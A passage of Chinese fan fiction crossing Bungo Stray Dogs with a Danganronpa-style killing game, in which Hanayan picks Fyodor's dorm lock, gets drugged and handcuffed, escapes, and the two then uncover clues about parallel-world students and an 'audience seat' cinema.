他倒退几步侧头看向挂着费奥多尔像素小人图片的寝室门,忽然意识到现在费奥多尔在医务室,那等对方包扎好肯定会去四楼,如果他想弄清楚对方在房间里隐藏的秘密,现在是一个绝佳的机会。 考虑到这场自相残杀游戏对于对方而言可以获得的收益,以及那台修理好后不知所踪的计算机与黑白熊所拿出来的毕业礼物,花言不太相信费奥多尔会对此什麽都不做。 哪怕对方之前的无动于衷是为了保险起见,那现在第四层已经被强行开启,距离完全揭秘仅一步之遥,对方再等下去只会迎来一无所获的结局,因此如果对方有所计划,大概很快就要开始实施了。 寄宿区二楼什麽时候都能去,但探查费奥多尔掩藏的秘密却仅有这一次的机会。 花言悄无声息地先回了自己的寝室,从中翻找出了一把螺丝刀,他握着螺丝刀刚想出门,又想起黑白熊补充的规则,于是又回来换了根铁丝再兴致勃勃地重新出门。 他今天非要弄清楚费奥多尔要用的计划究竟是什麽不可。 第77章 宿舍门用的锁不算精密,甚至可以说有些古老。 只不过花言可能是太久没有干过关于这方面的工作了,手有点生,花费了足足三分钟才成功打开。 考虑到他现在干的事情有点见不光,所以在推开门时下意识放轻了动作。 门内一片漆黑,没等他看清房间内的情况,一阵粉末质感的东西猛地袭来,劈头盖脸地洒落在他身上。 花言原本就提着口气,现在猝不及防被吓了一跳,没忍住倒吸一口凉气,一下子把空气中漂浮的粉尘吸进了气管里。 “咳!咳咳……” 在身体本能爆发出咳嗽的同时,意识逐渐发生模糊,力气也在不断被抽离,一种恍若梦境的有心无力感顺着神经末梢不断蔓延,直到连身体的重量都难以支撑,被迫扶着门框滑坐在地。 一片漆黑的房间在此刻亮起了灯。 仅能看清大致轮廓的视野里浮现出大片纯粹的白,顺着白色上移,映入眼帘的不出意料是一名黑发少年,后者稍长的发稍乖顺地垂落在脸颊两侧,哪怕看不清具体面容,花言也能认出对方。 费奥多尔脑海中回想着对方在视听室与武装侦探社众人商讨的内容,以及在四楼时所发生的事情,没有第一时间开口。 那双紫罗兰色眼眸平静地看着滑坐在门框边不断轻咳的少年,后者如银辉般的长发铺陈在如雪的纯白斗篷上,被纱布缠绕的双眼似乎是由于咳嗽的缘故而濡湿出了些许水痕,连带着那张略微苍白的面容也浮出了一层血色。 费奥多尔并不意外花言会来撬开他的门,倒不如说,他一直在寝室等对方。 花言想要咳嗽的本能反应逐渐平息,后知后觉地察觉到现在的情况有点不妙。 如果他只是刚好遇上了费奥多尔在寝室倒没什麽,充其量只有尴尬而已。 现在对方一言不发、对刚刚的袭击也没什麽解释,显然是说明对方就是在等着自己送上门,已经完全不装了。 他现在身体有些使不上劲,意识也有点迷离,费奥多尔应该是去医务室拿了什麽麻醉剂之类的药物,不过对方的使用方式有点浪费,对药物的需求量也大,如果不出意外,现在医务室里应该没有任何麻醉类的药物了。 对方为什麽不直接把药物附着在布制类物品上偷袭他呢?是担心会被他反击,还是……已经知道了他的“才能”? 总之先说点什麽吧,一直没人说话还是怪尴尬的。 “呃……我现在说,我只是想起你没带钥匙打不开房门,而我又刚好会开锁,所以特意来帮你开门,想给你一个惊喜……还来得及吗?” 由于麻醉的关系,花言说话时的语速比平时要慢上一点点,嗓音也裹挟上了一缕因无力而没能掩藏住的气音。 费奥多尔眼眸微弯,轻轻笑了一声,“原来是这样,谢谢您的好意,不过我已经问黑白熊要了备用钥匙,不用麻烦您的。” 对方话是这样说,但花言却察觉到费奥多尔似乎越过自己,将他身后的门合拢了。 甚至对方还吸取了之前他头发被门缝卡住导致惨剧发生的经验,蹲下身细心地帮他把衣摆和发丝挽回屋内才彻底关上门。 听着耳边门锁落下的清脆声响,花言沉思了片刻,还是问出了这种情况通常会发生的经典剧情,“接下来我是不是要死了?” “怎麽会呢?”费奥多尔语气有些惊讶和困惑,仿佛不明白对方为什麽会这样认为似的,“只是您的‘才能’有些麻烦,所以我希望接下来您能安静地呆在这里。” “你果然知道了啊,是通过那台计算机入侵了监控吗?”花言回想起在数据室时看见的那些屏幕,还是感到奇怪,“可我当时在监控中枢并没有发现异常,黑白熊也没有什麽奇怪的反应。” “您果然很了解我。”费奥多尔意味不明地感叹了一声,回答了对方的问题,“黑白熊其实知道这件事,早在您把计算机交给我离开去食堂的那一刻,它就出现在了我面前,我们做了一笔交易。” 花言脑海中瞬间浮现出数据室暗门背后被废弃的控制中枢,迟疑地发出猜测,“你成为了幕后黑手?” “……没有。” 不知怎麽,费奥多尔觉得对方对自己的了解程度有些过分了,以至于现在把什麽坏事都往自己身上想。 “说起这一点,我倒是有些怀疑您是。” “我不是。” 花言就知道对方在通过监控看清他翻学生文件的那一幕后会产生这种猜测。 “唔……也对。”费奥多尔意有所指地说道:“您如果是幕后黑手,就不会引开我独自赴约,去跟太宰治他们合作,答应尽快结束这场游戏了。” 花言:…… 一定要提这种让人尴尬的话题吗? “你不是说你去三楼娱乐室了吗?怎麽在监控里悄悄偷窥。”花言试图占领道德高地进行反击。 “我去了,但是伤口不小心沾到了水,为了避免发炎,我只能去医务室重新包扎。”费奥多尔缓缓诉说出自己的路线,“包扎完有点累想休息,所以才回了寝室。” 花言没从这番解释里找到可以提出质疑的地方,对方说出的每一个信息都与他所知道的吻合,只能遗憾地放弃辩解,“你都看见了?” “也不算都看见了,毕竟这里的监控系统有点奇怪,在楼层开启前没办法看见其他楼层的情况,同样也没办法看回放,只能看实时画面。我在路上浪费了一点时间,当我打开计算机入侵系统的时候,看见的是太宰治问您我们是什麽关系,从这一句话开始,往后都看见了,之前发生了什麽我并不知晓。” 费奥多尔认真地跟对方解释了一下。 花言听完只觉得费奥多尔还不如不要告诉他这麽详细,这不是该知道的都知道了吗? 费奥多尔见对方似乎是没有问题想问了,他指腹粘贴对方腰际,往下摸索,“钥匙您是放在这边口袋了吗?” 花言眉头微蹙,费奥多尔体温有点太低了,以至于隔着一层衣物他都能清晰感知到对方指尖在他腰际下滑的轨迹。 “嗯……”他含糊不清地应了一声。 得到他确定的回答,对方冰冷的手伸进了他裤子侧边口袋,一瞬间温度骤降,花言没忍住轻吸了一口气,发出抱怨。 “你手太冰了。” “抱歉。” 费奥多尔极其有诚意地表示了歉意,他手中握着还带有对方体温的金属钥匙,目光重新落在对方脸上。 “看在我帮您打开了校长室和数据室的份上,能告诉我这把钥匙具体是二楼寄宿区什麽地方的吗?” “可以打开二楼寄宿区任何上锁的地方,包括通往二楼寄宿区楼梯口的那道铁门。”花言先回答了对方的问题,旋即又提出新的疑惑,“这也是你跟它交易的一部分?” 他还以为黑白熊真的那麽慷慨呢,居然一同开放了校长室和数据室,没想到原来是对方在暗中发力。 费奥多尔不置可否地微微点头,“我也没想到它能同意这一点,看起来‘除掉您’这件事的分量在它心里胜过一切呢,花言。” “我也没做什麽……”花言越说越没底气,细数完自己干的那些事,以及自己所知晓的内幕,忽然觉得黑白熊想除掉他很正常,“你们的交易内容……该不会是它要你杀了我吧?” “您反应很快呢。”费奥多尔从容不迫的嗓音中仍旧裹挟着温和的笑意,“不过从之前您的表现来看,要杀您是一件十分困难的事情,更别提还有学级裁判这种环节——嗯……对于没有复仇对象的人来说,这个环节倒是能够很好保护他们。” 花言隐约明白了费奥多尔的想法,对方没有想过要履行与黑白熊的交易,并且也清楚如果现在直接杀了自己,那对方也会死在随即而来的学级裁判中,因此对方只是想借助这份交易更便捷地达成目的。 弄清楚这一点,花言愈发同情黑白熊了,怎麽对方在他这里吃了一堑,还能继续在费奥多尔那边吃一堑,难道是在后者蛊惑人心的说辞下被蒙蔽了吗? 看吧,没有操纵者果然出事了吧。 可怜的人工智能被人类玩弄于股掌之间,也不知道幕后黑手看见这一幕会不会后悔全权交给人工智能自行运转。 “老实说,在知道您的‘才能’后,我也没想到刚刚的袭击居然能如此顺利。”费奥多尔若有所思地继续说道:“你的‘幸运’似乎并不稳定,还是说,仅会在您受到伤害时出现?” “谁知道呢。”花言对此不太在意,他转移了话题,“接下来你打算做些什麽?” 费奥多尔没有立即回答,他视线在对方神色平静的脸庞上一点点扫过,那种违和感又再次从心底升起。 从始至终,他都没从对方身上看见一丝一毫的懊恼与愤怒出现,连最为基本的失落都没有,仿佛这一切对方都有所预料。 不过,从对方十分了解自己却仍旧把计算机交给他了——这方面来说,出现这种结果对方确实应该有所预料。 但正是这样才显得奇怪,陷入这种境地,对方还有什麽手段可以让局面扭转呢?又或者说,对方这麽做的目的究竟是什麽? 花言看不清费奥多尔的表情,也不知道对方的想法,他迟迟没有等到对方的回答,疑惑地发出了一声单音表示催促。 这一声催促没催促到问题的答案,不过却成功吸引回了对方的注意力。 呼吸间若有若无的冷冽气息骤然浓烈,一双手环过他的背部与腿弯将他从冰冷的地板上抱了起来。 对方突如其来的举动让花言大脑陷入一片空白,疑惑毫不遮掩地展露在脸上。 似察觉到他的疑惑,费奥多尔将他放在了床上,一边拉开抽屉,一边柔声解释。 “毕竟我们是萍水相逢的临时同伴,如果把您一个人丢在房间中冰冷地板上有点太不近人情了。” 花言:…… 如果不是空气中响起的扣锁声与手腕处传来的冰冷束缚感,他就真信了。 两幅手铐最大限度地将他的手臂分别扣在了一左一右两个方向,做完这一切,费奥多尔甚至不忘从他身上没收那根铁丝,看起来是想完全杜绝他自由行动的可能。 “这有点太过分了。”花言幽怨地发出指责。 “抱歉,我担心您身体有耐药性。”费奥多尔在这个时候仍旧维持着涵养,他说着微微顿了顿,似安慰般,“我一会儿就回来。” 伴随着话音落下,房间里响起清脆的脚步声,渐行渐远,直到听见门的开合声才彻底消失。 花言躺在床上望着天花板缓缓眨了眨眼睛,等待时间过去重新恢复身体控制权。 费奥多尔担心的没错,他身体确实有一定的耐药性,那点分量的麻醉药物,顶多让他失去十分钟的行动能力。 趁着麻醉效果还未完全消失,花言被拷在床头的右手用力一扭,从手铐中脱出,他跪坐在床上,用被铐住的左手将右手骨头重新复位再扭左手,一番操作后,他重获自由。 如果没有麻醉效果他可能还会因为剧痛而犹豫要不要用这个办法,但现在痛觉被消减就没有这个顾虑了。 花言坐在床边发了会呆,视线扫过房间内的所有陈设。 思绪还停留在已经过去的时间,喃喃自语。 “这不是挺幸运的嘛……” 第78章 空气中蔓延着腐朽的霉味,四周墙壁破败得犹如废墟,密密麻麻的裂痕遍布走廊,地面散落着无数碎石,顶上的灯似接触不良般发出“滋滋”声响,忽明忽灭。 手中电子学生手册上地图更新,寄宿区二楼的地图展开在眼前,除去一些早已废弃的学生宿舍,剩下能够引起注意的地方只有校长房间与储物室。 脚步声在破败的走廊回响,费奥多尔顺着地图先去了最有价值的校长房间。 手中的钥匙拧开紧锁的房门,指腹顺着墙壁打开了开关,暖色调的灯光自高处洒落,其中整洁的布局、宁静的氛围与外面的破败荒芜呈两极。 这处房间里似乎没有太多值得在意的东西,连桌面计算机中的文档也都是身为校长工作时会用到的统一模板。 费奥多尔指尖在键盘上轻点,一一翻找过所有的文档,在鼠标点到最后一个时,弹出了一个提醒窗口,提醒他输入账户名。 费奥多尔早有准备地从口袋里拿出一根数据线连在计算机与电子学生手册之间,花费了一段时间,身份核验环节被直接跳过,一旁的墙壁上打开了一扇暗门。 暗门里那处房间的灯似乎坏了,费奥多尔只能借助外面的灯光看清其中的内容。 狭窄昏暗的房间中摆放着一张桌子,桌子上放着一个相框与一个礼物盒。 源自校长房间洒落的余光隐隐约约照亮相框中的照片,这是一张学生版他们的合照,却也不是完整的合照。 上面不仅有在这场自相残杀游戏中的成员,也有不在这里的成员——比如说武装侦探社的其余成员,又比如说涩泽龙彦。 甚至在这场自相残杀游戏中的成员也有不在里面的身影——比如说“猎犬”、又比如说果戈里与西格玛,以及,花言。 这张合照中所有人都站在一所正开着繁茂樱花的学院门口,他们站位看似十分随意,却也似心照不宣般特意空出了中间的位置。 照片中的“费奥多尔”身穿雪白的学校制服,外套着一件黑色大衣,脖子上还戴着一条灰色黑格子围巾,站在靠近中央的位置,同样也是被特意空出来的位置右侧。 而站在空位左侧则是太宰治,明明那个空出来的空间里什麽都没有,但对方却故意表现得像是有人在一样,身体微微侧倾,伸出手臂虚环,比出了一个胜利的手势。 也正是因为正中央被留出的空位,导致这张本该普通的合照沾染上了些许违和又诡异的色彩。 费奥多尔目光停留在照片上,半晌,他翻转了相框,木制相框背后有一小块黑色胶带,黑色胶带的表面凹凸不平,撕下后才发现胶带中粘着一枚小小的芯片。 费奥多尔取出芯片用房间内的计算机读取打开,屏幕中解析进度条到达百分百,自动展开了一段视频。 视频画质不太好,有些糊,也没有声音,里面出现的人影近乎要变成色块,依靠着那张合照,费奥多尔勉强识别出站在左侧的四人应该是学生版的他、太宰治、涩泽龙彦、以及中岛敦,而另一边站着的几人则打扮的像是mafia,手里拿着刀枪之类的武器。 这像是一段战斗记录,为什麽说“像”? 因为画质太糊了,糊到费奥多尔只能看见他们四人似乎动了一下,紧接着画面糊成一片,再次清晰时,那几个mafia已经倒地,然后这段视频就结束了。 十分意味不明。 看得费奥多尔也罕见地陷入了沉默,刚想再次回放,屏幕中却弹出“视频已损坏”的字样,连带着读卡机也冒出了烟雾,这像是一次性的视频。 他只能遗憾放弃想要再仔细观察一次的想法,重新走进暗门,打开了里面剩下的礼物盒。 礼物盒里只有两样东西,一样是一碗不知道存放了多久的茶泡饭,另一样是一个电子手册,点亮后显示——“校长专用手册”。 除此之外,校长房间没有其他任何有价值的线索了。 费奥多尔随手柄手册放进口袋,走出校长房间。 昏暗破败的走廊再一次回响起清脆的脚步声。 不紧不慢的脚步在储物室门口停驻,费奥多尔用同一把钥匙再次打开了储物室的门,如花言说的一样,这把钥匙可以打开寄宿区二楼所有的门。 储物室内冷色调的灯光洒落,一排排储物柜映入眼帘,这些储物柜有的被暴力破坏整体扭曲,有的被木板牢牢钉死。 费奥多尔抬起脚步走向看起来破损最小的那一排,储物柜门上的锁不是锁扣,而是电子感应锁。 他若有所思地抬起眼眸扫向这一排储物柜,细数这里刚好有十六个柜子,而参加这场自相残杀游戏的玩家也刚好是十六人,如果不出意外,这些柜子应该分别映射着他们每个人。 费奥多尔拿起手中的电子学生手册一个个测试过去,直到柜门亮起绿光顺利打开。 柜子里放着一些课本、一条灰色黑格子的围巾,以及一套国际象棋。 费奥多尔取出课本随意翻看了一下,发现这些都是高中课本,而上面的字迹却无比熟悉,甚至可以说就是出于他手,但他又确实没有在这个国家上过高中的记忆。 这个地方究竟是…… 费奥多尔眉头微蹙,课本被重新放进柜子,指尖触及上那条围巾,围巾是普通的棉质,像是已经放了很久,表面附着了一层灰。 拈了拈指腹上沾染的灰尘,费奥多尔取出了柜子中剩余的唯一一样东西——国际象棋。 保存着国际象棋的盒子被轻易地打开,里面有一本笔记静静地躺在黑白棋子之上,翻开笔记,上面不出意外的依旧是自己的字迹,书写的内容有些前言不搭后语,比起类似于日记的日常记录,更像是被捕捉记录的零碎想法。 ——“最近班上的同学偶尔会消失,特别是武装学生会的那些人,以及涩泽君……我打探了一下关于这方面的事情,他们说,我很快就会知道,因为他正在找我。” 在这几句话之后,这一页全都是空白,费奥多尔往后翻了一页才看见新的内容,但新一页的内容跟什麽都没说也没什麽区别。 ——“……原来是这样。我知道了。” 费奥多尔沉默地又翻了一页。 ——“我见到了“我”,来自于各个平行世界、存在不同世界观、拥有不同经历与记忆的“我”。也见到了“其他同学”,平行世界里经历了各种事件,得到了各种可能和未来的“同学”。” 费奥多尔眉头微蹙,回想起自己所看见的那段高糊视频,怎麽看起来像是有人带着他们不断穿梭在各个平行世界之间了一样。 ——“有时候我很想告诉他,人类的食物不仅仅只有茶泡饭一种,可以不用给我这麽多茶泡饭,虽然这些茶泡饭里蕴藏着某种能量,能让我们发挥出近乎拥有“异能”的实力,但是吃多了也会觉得腻……毕竟我们跟中岛同学的口味不同,会对这点感到高兴的,也许只有他了吧。” 在这一句话的最下方,罕见地多出了一句。 ——“好吧,也许是我的幽怨传递到了,他今天给了豆腐汤。”* 费奥多尔目光在“茶泡饭”这个词汇上停留了片刻,下意识想到了礼物盒里的那碗不知道放了多久,茶汤却还没干的茶泡饭。 指尖翻到下一页。 ——“又失败了,不知道为什麽,有时候总觉得有我在的战斗会格外容易失败,是错觉吗?” 在这页之后的下一页没有字迹,因为内容写在了这页的背面。 ——“如果是为了成功,他应该有更好的人选。” 在这句话往后,笔记本一片空白,翻到近半的位置,墨迹才重新出现。 ——“奇怪,感应消失了一瞬间……” 这看起来像是那个存在出了什麽意外。 费奥多尔指尖捏着笔记本剩余的纸张,压迫着不断翻页,无数一片纯白的纸张在半空中不断扬起落下,直到最后一页的内容出现在视野中。 ——“他……不,他来了。” 这句话有点太意味不明,甚至显现出几分不详意味。 费奥多尔若有所思地拿出校长专用手册,利用校长的权限打开了其他人的储物柜。 其他人的储物柜跟他的类型都差不多,都是学生身份会有的东西。 在合照中的人东西会比较多,不在合照中的人东西都比较少。也只有合照中的人笔记本中有提到“他”,而不在合照中的人则都是正常的日常记事。 从这些笔记中,费奥多尔明白了合照中会没出现其他人身影的缘由。 这个原因没有任何深层次的隐情,也没有任何粘稠的阴谋,其他人不在那张合照里,纯粹是因为——他们不是一个学校,其他人是隔壁学校的。 同样的,在所有提到“他”的笔记本中,他们的结尾,不约而同地都是—— ——“他来了。” 犹如数种不同的个体在此刻想法统一,统一到近乎诡异的地步。 费奥多尔注视着眼前开启的柜子,忽然意识到他只打开了十五个,在最里面还有一个柜子未曾打开,那是花言的柜子。 似揭开谜底般,费奥多尔渐渐走近。 手中电子手册刷开储物柜,发出“滴”的一声轻响。 柜门应声而开。 在看清柜子里情形的那一刻,空气中有一道清冷的嗓音传递至耳畔,声音的主人身体似乎有些虚弱,以至于在这种寂静昏暗的环境中,带着某种怪异的空灵。 “你发现了什麽?” 费奥多尔紫罗兰色的瞳孔微缩,骤然转头,一道雪白的身影静静伫立在门边,冷色调的灯光自高处洒落,苍白的面容与一片纯白的穿着,配上门外破败犹如废墟的墙壁,显得有几分虚幻。 “您……” 费奥多尔微微张了张口,惊疑不定的情绪没外露出一秒便被收起,似无奈地叹息一声,“您离开的比我预想中的还要快,到底是怎麽做到的?” “嗯……因为我一直以来运气都很好,所以为了测试这份运气究竟有多幸运,做过一段时间的试药员,身体有了耐药性?”花言微微歪头,轻易地回答了对方。 ……意外正规的解释。 费奥多尔沉默了一会儿,“那能够挣脱手铐这点,难道是您曾经当过警察,所以格外了解构造吗?” 花言还没厉害到能够端铁饭碗的地步。 于是费奥多尔只见对方脸上流露出几分莫名的遗憾,摇了摇头。 “不是,我只是曾为了买药可以享员工折扣,当了段时间的中医助手,稍微学到了一点点东西。” 费奥多尔:…… 这学的是正常东西吗? 花言站在门口没动,他目光扫过一排排被对方打开的柜子,好奇地问道:“我柜子里有什麽?” “什麽都没有。” 费奥多尔目光落在对方脸上,后者神色平静,看不出任何情绪,同样的,对方也挡住了唯一出口。 这种情况…… 费奥多尔沉思片刻,问出了那句对方之前曾问过的问题。 “接下来我是不是要死了?” 第79章 一向从容不迫优雅的嗓音裹挟上了一缕束手无策的无奈,看似是自知自己已经落于下风的无可奈何,但配上话语的内容以及尾音未能掩藏的笑意,却显得像是在提醒对方不要忘记自己在这个问题上的回答,也像是明知故问般带着些许谦和又恶劣的意味。 换做其他人这麽问他,花言可能就会故意点头说“是的,你要死了”,但如果是费奥多尔的话,这个答案自然会截然相反,即使那个时候是天时地利人和——哪怕杀了人,也不会有人发现的绝佳时机也一样。 显然那个时候的费奥多尔对此也有所猜测,才会故意问出这个问题用于确认。 从梦境中苏醒、飞速复盘完全程的花言默不作声地挪进被子里团成一团,庞大的信息量冲刷得他大脑现在只剩下一个念头。 ——那一晚上究竟是怎麽发生这麽多事的啊?! 他不仅跑完了四楼校长室和数据室、完成了去费奥多尔房间一探究竟的想法、抽空去寄宿区二楼看一圈已经被对方摸索过的校长房间,甚至最后还能站在储物室门口故意堵住门吓对方一跳。 当时费奥多尔那种瞳孔微缩下意识转头的反应是吓到了吧?绝对是被吓到了! 虽然按照常理来说,对方应该不会那麽轻易被吓一跳,但是考虑到对方说他柜子里什麽都没有那句话时的明悟与无奈。对方极有可能是在其他人的储物柜里发现了什麽不得了东西,以至于又对自己产生了什麽错误猜测,猝不及防之下才会被他吓到的…… 为了以防万一,花言伸出手摸索到了墨镜戴上,掀起被子一角,从中探出头看向床对面的费奥多尔,后者似乎在思考什麽难题,靠坐在床头,迟迟没有动作。 “费奥多尔……?” 花言迟疑地喊了一声对方的名字,不太确定对方现在这种反应是怎麽回事。 “嗯?” 费奥多尔本能应了一声,发散的思绪瞬间收拢,他循声看向对面的少年,后者趴在床头双手揪着被子,表情似有些疑惑,疑惑于他的反应。 费奥多尔神色如常,温和的语气也依旧,“怎麽了?” “你……在寄宿区二楼看见了什麽?”花言还是选择了直白的问法。 这个问题在费奥多尔的意料之中,他没有隐瞒地告诉了对方,“其他您应该已经知道了,校长房间里相框后的那枚芯片里是一段战斗视频,大体是学生的‘我’和其他三人,敌人似乎是港口mafia,不过画质不怎麽清晰,我没怎麽看清就自动销毁了。至于储物室的,大体都是些学生该有的日常用品,以及一本笔记……” 说到这里,费奥多尔微微顿了顿,似乎是在犹豫要不要告诉花言,而这份犹豫的答案也很快得出。 在仅有两人的寝室中,轻缓的嗓音继续响起,费奥多尔的记忆力很好,因此他近乎是将所有人笔记本中的内容一字不差地都说给了花言听。 听得花言墨镜下的眼眸缓缓睁大。 从某种程度上来说,系统缝合的副本也不全是漏洞百出,最起码还有点逻辑自洽。 比如说观看那场自相残杀游戏的观众是在这所学院中被“顶号”了的——有角色卡存在的“本校学生”。 当参与那场自相残杀游戏的参与者被淘汰时,“观众席”上的“本校学生”就会取回自己的身份,重回校园。 甚至连为什麽会出现消失的情况都得到了解释,因为不是同一个学院。用卡池的话术相当于——这是未登场角色,还没转学过来呢,现在只是提前放出来预告一下。 说起来,既然有“观众席”存在的话,是不是说明被淘汰的人会下场去往“观众席”? 这样也能够说明为什麽在即将发生第一场杀人案件时,会有观众向黑白熊抗议要保护他们的隐私了,原来是为了以防会被淘汰进“观众席”的那些人窥探到他们的秘密吗? 花言回想起费奥多尔口中笔记本里描述的“他”,如果不出意外这个“他”应该是指他,之前没有实体,他们不知道他是什麽东西,所以统一用“他”代指,现在他有实体了,“他”就变成了“他”。 还有那张合照,居然还特意给他空出了位置。 他们真的,他哭死! 为了表示感谢,花言决定回头离开的时候在食堂里铺满茶泡饭……不对,“费奥多尔”好像不太爱吃这个,那就豆腐汤吧,比茶泡饭还高级一点。 不过,如果黑白熊在他眼部打上马赛克是为了保护他的瞳色不暴露,那他看见的满屏马赛克是什麽? 总该不会是因为“观众席”可以无差别看见白天黑夜两所校园发生的事情,他们看见了他找平行世界武装侦探社众人商量的一幕,也都知道他对费奥多尔“一见钟情”,所以为了保护他这方面的隐私,在每个只有他和费奥多尔单独相处的时候都打上了马赛克吧?! 那种事情不要啊! 花言简直不敢想现在“观众席”上看见的会是何种画面,其他人就算了,淘汰过去的、不知道马赛克缘由的与谢野晶子和立原道造在看见满屏马赛克时岂不是…… 费奥多尔观察着花言的反应从一开始的惊讶到了然、再到感动、最后到类似于感到尴尬般开始左右压被角。 对方的反应其实十分细微,更别提还把墨镜遮住了大半,如果不是他与对方已经相处了一段时间,有了一些基本了解,可能会依旧以为对方对此无动于衷。 昨晚得到的那些线索足以证实他的猜想,但同样的,也让他产生了新的困惑,比如说对方现在为什麽会露出这种反应,又比如说……笔记中为什麽会记录着对方正在找“他”? 费奥多尔想起对方之前对他的解释也是——只是想见他、跟他接触一下而已。 这句话放在现在看,确实也像是在找他一样。 “花言……” 费奥多尔重新抬起眼帘看向对方,这一眼发现对方又重新团成了一个球。 费奥多尔:…… 如果他记忆没错,昨晚是他先对对方做了不礼貌的事情吧?为什麽现在反而是对方露出了一副逃避现实的模样……? 花言正在跟系统探讨“观众席”的存在,并试图从后者那里弄清楚那个“观众席”究竟是什麽样的情况,在发现这个东西似乎是副本自带设置,系统只是在缝合副本时随机填充了一下,实际上也不清楚具体是什麽样的设置时,花言只能被迫接受原来生活到处都是观众的沉痛事实。 听见费奥多尔在喊他,他又从被子里探出了脑袋看向对方。 “什麽?” 费奥多尔目光落在对方头顶乱翘的碎发上,想询问对方的问题在唇边变成了一抹歉意的弧度,“昨天晚上的事情,我很抱歉。” 也不用急于这一时,既然对方现在有了实体,对他也没有恶意,那随着他们相处的时间增长,他迟早会从对方身上得到答案的。 “嗯……?” 花言缓缓眨了眨眼睛,没能第一时间明白对方在指什麽。 憋了一晚上的系统终于找到了可以挥发激动情绪的时机,它兴奋得近乎要上蹿下跳。 【宿主,那个啊!就是你夜探攻略目标房间不成,反被下药扣在床上那件事!】 花言:…… [马路牙子,别以为你下了十几个杀毒软件,就可以胡作非为了。] 这总结的什麽东西啊! 把他说得像是什麽不怀好意的歹徒……好吧,他当时做的事情确实有那麽点见不得光。 拖系统的福,花言现在回想起那一幕只剩下心如止水的平静。 他轻轻摇头,“没关系,毕竟是我先悄悄进你房间的。” 费奥多尔指的其实也不仅仅只是控制对方行动的那件事,他刚想进一步说些什麽,一道刺耳的铃声骤然响起,在这道提醒铃声之下,一切声响都被盖过。 花言听见铃声,本能地想要起身,在起身的那一刻又想起自己不用上课的安心事实,发现费奥多尔还在床上,他忽然意识到这似乎是个展现一下自己贴心的好时机。 “你该去上课了哦。” 费奥多尔微微张了张唇,最终还是无奈地笑了一声,顺着对方的话点头。 “嗯,那晚点见。” 花言隐约觉得自己的贴心好像展现的不是时候,但事已至此,他只能暗中注视着对方进浴室又从浴室出来。 费奥多尔已经走出了门外,在即将合拢门时仿佛想起了什麽,脸上浮现出些许歉意,“抱歉,早餐……” “没关系,我一会起床自己去食堂。” 花言明白对方想说什麽。 他微微顿了顿,继续说道:“如果可以的话,能麻烦你帮我跟与谢野说声,我找她有事吗?我没有她联系方式。” 费奥多尔现在已经知道太宰治想要找他合作的事情,以及有关这两个副本的大部分信息,他也没有什麽遮掩的必要了,相比之下,他是真的很在意“观众席”上到底是什麽样的情况。 他不知道该去哪找“与谢野晶子”,如果在教学楼里查找的时候遇上教师就麻烦了,到时候他装病的事情肯定会被拆穿。 对方既然要去上课,那遇上“与谢野晶子”的概率肯定比他大的多。 费奥多尔没有拒绝,也体贴地没有问原因,“好。” 伴随着门被彻底合拢,宿舍内也重回寂静。 第80章 事实证明,费奥多尔的效率果然很高。 花言在床上睡了个回笼觉才磨磨蹭蹭地爬起来去食堂,临近中午的食堂没有过多可以供他挑选的早餐,晃了一圈只买了几个包子,随意找了个靠窗的空位坐下。 他刚咬上手里的包子,余光就注意到大门的方向有一道穿着白色大褂的身影走了进来,正值上课期间的食堂空旷无比,因此他们轻易地注意到了彼此。 花言目光迟疑地落在“与谢野晶子”的白大褂上,如果他没猜错,现在应该是上课时间吧?为什麽会是这样打扮? “是有同学受伤了吗?” “与谢野晶子”径直走了过来坐在对方面前,听见这句话,她随手拨了一下头发,“没有,单纯是为了以防你认不出我而已。” 花言:…… “我其实能认出来。” “嗯,我相信你。” “与谢野晶子”好说话地点头,一副他说什麽就是什麽的模样,看得花言开始怀疑自己两次没认出人的意外是不是在他们心中都留下了深刻的印象。 “与谢野晶子”没有过多浪费时间,她直奔主题,“你找我是出了什麽急事吗?” “不算是什麽急事。” 提起这点花言也有些苦恼,他没有跟费奥多尔说时间和地点的原因,就是为了想让“与谢野晶子”自己挑选方便的时间,比如说午休,又比如说放学后,这两个时间段他都在寝室。 “我没想到我们会在食堂见面,你找了很多地方吗?” “没有,可能是由于费奥多尔迟到了吧,他通知我的时间是在第一节课后,原本我那个时候就想去找你的,但是他说那个时候的你可能还没起床,建议我等你起床去食堂的时候直接来食堂找你。” “与谢野晶子”说到这里面色有点古怪,“他还挺了解你的。” “确实……”花言感同身受地点头,只觉得对方确实贴心,转瞬又想起了什麽,“你现在上课时间出来没关系吗?” “没关系,我跟你们不一样,没那些乱七八糟的规则限制,回头顶多被国木田老师说一下不要随便逃课吧。” “与谢野晶子”对此倒无所谓,也不是第一次干这种事了。 既然不会给对方造成什麽困扰,花言就安心了,他说起找对方的原因。 “我其实是想知道那个‘观众席’具体是什麽样的。” “与谢野晶子”脸上浮现出一抹诧异,旋即又很快变成了满是趣味的了然,“看起来昨天晚上你们的进度很快呢,已经得知‘观众席’的存在了吗?” 花言无奈地点头,“是啊,在得知是全程直播的时候,把当时失忆的我打击得不轻呢。” “与谢野晶子”没忍住笑了几声,跟对方描绘那里的场景,“那里看起来像是一个电影院一样的地方,不仅提供爆米花、饮料之类的零食,连荧幕播放的视角好像都是可以选择的——在我离开之前,我们大部分时候都在看你的视角,偶尔会出于好奇看眼其他人,老实说,很有趣,也很新奇。” 花言:…… 他记得弹丸片场好像是有这麽个影院设置,被淘汰的人会在荧幕后看着其他人的一举一动之类的。 系统缝合副本填充的这点同时吻合上了两个设置,一个是全程直播与观看直播的观众、另一个是被淘汰者影院的设置。 但是果然…… “你们都知道了,是吗?” “与谢野晶子”揶揄道:“你是指你特殊的瞳色,还是指你一脸严肃地找了其他平行世界的‘我们’,来帮你出谋划策去追‘一见钟情’对象的事?” 见对方近乎要把头埋进包子里,“与谢野晶子”干咳一声,当即转移话题,“虽然电影院提示上写着‘在游戏里被淘汰的人会进入影院’,但是我们已经提前提出了抗议,帮你隐藏了所有可能会暴露你隐私的秘密了,就是……可能那个负责直播的东西,处理的有点粗糙吧。” 这何止是有点粗糙,这处理完简直是在看什麽限制级的电影吧?! 花言对此有点心累,但无论如何他还是十分感激对方帮他隐藏秘密的,不过…… “提示?” “嗯,一些观影提示吧,比如说‘电影院是完全被隔绝的独立空间,当自相残杀游戏结束就会消失,我们也会回到原本的世界’、‘处于电影院时会与你的联系中断’、‘当扮演映射身份的角色被淘汰,会与我们交换位置’、‘这场游戏不会有任何人受到伤害,让只需要我们放松观看就行’之类的。” “与谢野晶子”记忆力还没到过目不忘的地步,她只简略地说了下大体。 这些东西跟花言知道的都大差不差。 